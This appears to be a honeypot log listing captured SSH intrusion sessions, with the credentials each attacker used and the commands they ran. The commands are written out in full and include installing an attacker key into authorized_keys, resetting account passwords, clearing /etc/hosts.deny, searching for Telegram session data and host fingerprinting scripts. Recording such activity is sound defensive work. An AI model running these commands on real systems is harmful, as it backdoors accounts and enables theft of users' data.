$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "ubuntu\ndhNu0GSYo6wS\ndhNu0GSYo6wS"|passwd|bash
$ Enter new UNIX password:
$ echo "ubuntu\ndhNu0GSYo6wS\ndhNu0GSYo6wS\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ stoic_chateau_root (158.220.99.210) โ€” Lauterbourg, France ยท 4 sessions ยท 26 cmds
2026-07-07 01:17 EDT ยท as admin/admin, oracle/123.com, oracle/1234qwer
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "admin\nl4sOiXXCe6mC"|passwd|bash โ†’ Enter new UNIX password: โ†’ echo "admin\nl4
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—4
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—4
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "admin\nl4sOiXXCe6mC\nl4sOiXXCe6mC"|passwd|bash
$ Enter new UNIX password:
$ echo "admin\nl4sOiXXCe6mC\nl4sOiXXCe6mC\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ unhinged_taco_root (187.216.224.85) โ€” Altzayanca, Mexico ยท 2 sessions ยท 4 cmds
2026-07-07 00:27 EDT ยท as oracle/12345, oracle/qwerty123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ glitchy_saffron_root (62.60.204.25) โ€” Tehran, Iran ยท 32 sessions ยท 32 cmds
2026-07-06 17:54 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—32
๐ŸŽญ venomous_durian_root (43.160.208.253) โ€” Singapore, Singapore ยท 1 session ยท 2 cmds
2026-07-06 23:31 EDT ยท as oracle/root
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ spectral_panda_root_215 (101.126.4.215) โ€” Chaowai, China ยท 1 session ยท 1 cmd
2026-07-06 22:42 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ scrappy_steppe_root (80.249.151.39) โ€” Moscow, Russia ยท 1 session ยท 9 cmds
2026-07-06 22:10 EDT ยท as root/root
network mapping โ†’ OS/kernel identification โ†’ CPU profiling
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ hollow_kimchi_root_108 (183.78.201.108) โ€” Gangneung-si, South Korea ยท 1 session ยท 9 cmds
2026-07-06 19:53 EDT ยท as root/root
Credential reuse (root/root) โ†’ OS fingerprinting via uname -a โ†’ hardware profiling with ifconfig and /proc/cpuinfo โ†’ network enumeration โ†’ cryptomining process detection (ps grep) โ†’ Telegram data directory reconnaissance โ†’ specific hash-based file search โ†’ benign output verification
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ gnarled_cipher_root (95.65.98.52) โ€” Chisinau, Moldova ยท 1 session ยท 19 cmds
2026-07-06 19:30 EDT ยท as root/123456
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:ygU6VOZRuoTt"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ manic_silk_root (154.8.160.121) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-06 19:14 EDT ยท as root/12345678
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ brazen_k-pop_root_190 (220.126.84.190) โ€” Incheon, South Korea ยท 1 session ยท 9 cmds
2026-07-06 19:12 EDT ยท as root/root
/root root login โ†’ /ip cloud print โ†’ ifconfig โ†’ uname -a โ†’ cat /proc/cpuinfo โ†’ ps | grep '[Mm]iner' โ†’ ps -ef | grep '[Mm]iner' โ†’ ls -la ~/.local/share/TelegramDesktop/tdata /home//.local/share/TelegramDesktop/tdata /dev/ttyGSM โ†’ locate D877F7
$ /ip cloud print
$ ifconfig
โ†ณ network mapping
$ uname -a
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo
โ†ณ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
๐ŸŽญ zealous_shadow_root (83.235.16.111) โ€” Amygdaleonas, Greece ยท 1 session ยท 2 cmds
2026-07-06 18:53 EDT ยท as oracle/library
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ midnight_ilish_root (161.248.189.83) โ€” Mymensingh, Bangladesh ยท 1 session ยท 2 cmds
2026-07-06 17:28 EDT ยท as oracle/or@cle
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ haywire_dragonfruit_sol (113.177.27.200) โ€” Hanoi, Vietnam ยท 2 sessions ยท 4 cmds
2026-07-05 04:19 EDT ยท as oracle/1234qwer, oracle/P@ssw0rd
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ venomous_monsoon_root (45.123.110.70) โ€” Kolkata, India ยท 1 session ยท 2 cmds
2026-07-06 17:12 EDT ยท as oracle/P@ssw0rd
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ unhinged_pho_root (123.31.20.162) โ€” Hanoi, Vietnam ยท 3 sessions ยท 3 cmds
2026-06-27 04:29 EDT ยท as admin/asdf1234, root/admin123
OS/kernel identification โ†’ history snooping โ†’ pwd
$ uname -a
โ†ณ OS/kernel identification
$ history | tail -5
โ†ณ history snooping
$ pwd
๐ŸŽญ listless_carpath_root (151.242.191.232) โ€” Bucharest, Romania ยท 1 session ยท 2 cmds
2026-07-06 14:53 EDT ยท as oracle/oracle#123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ murky_liberty_root (4.150.201.26) โ€” Des Moines, United States ยท 2 sessions ยท 4 cmds
2026-07-02 13:16 EDT ยท as oracle/oracle#123, oracle/oracle123456
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ feral_bike_root (91.92.40.6) โ€” Amsterdam, The Netherlands ยท 28 sessions ยท 177 cmds
2026-06-26 03:08 EDT ยท as admin/123456, admin/admin, admin/admin123
OS fingerprinting via uname -s -v -n -m โ†’ /proc/version and /proc/uptime enumeration โ†’ OS release detection via /etc/os-release โ†’ no privilege escalation or payload deployment โ†’ passive reconnaissance only.
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—9
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—28
$ /bin/uname -s -v -n -m 2 > /dev/null ร—13
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—13
$ busybox uname -s -v -n -m 2 > /dev/null ร—13
$ ( [ -f /proc/version ] ร—13
$ [ -f /proc/version ] ร—13
$ head -1 /proc/version | cut -d -f1 ร—13
$ [ -f /etc/os-release ] ร—13
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—3
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); 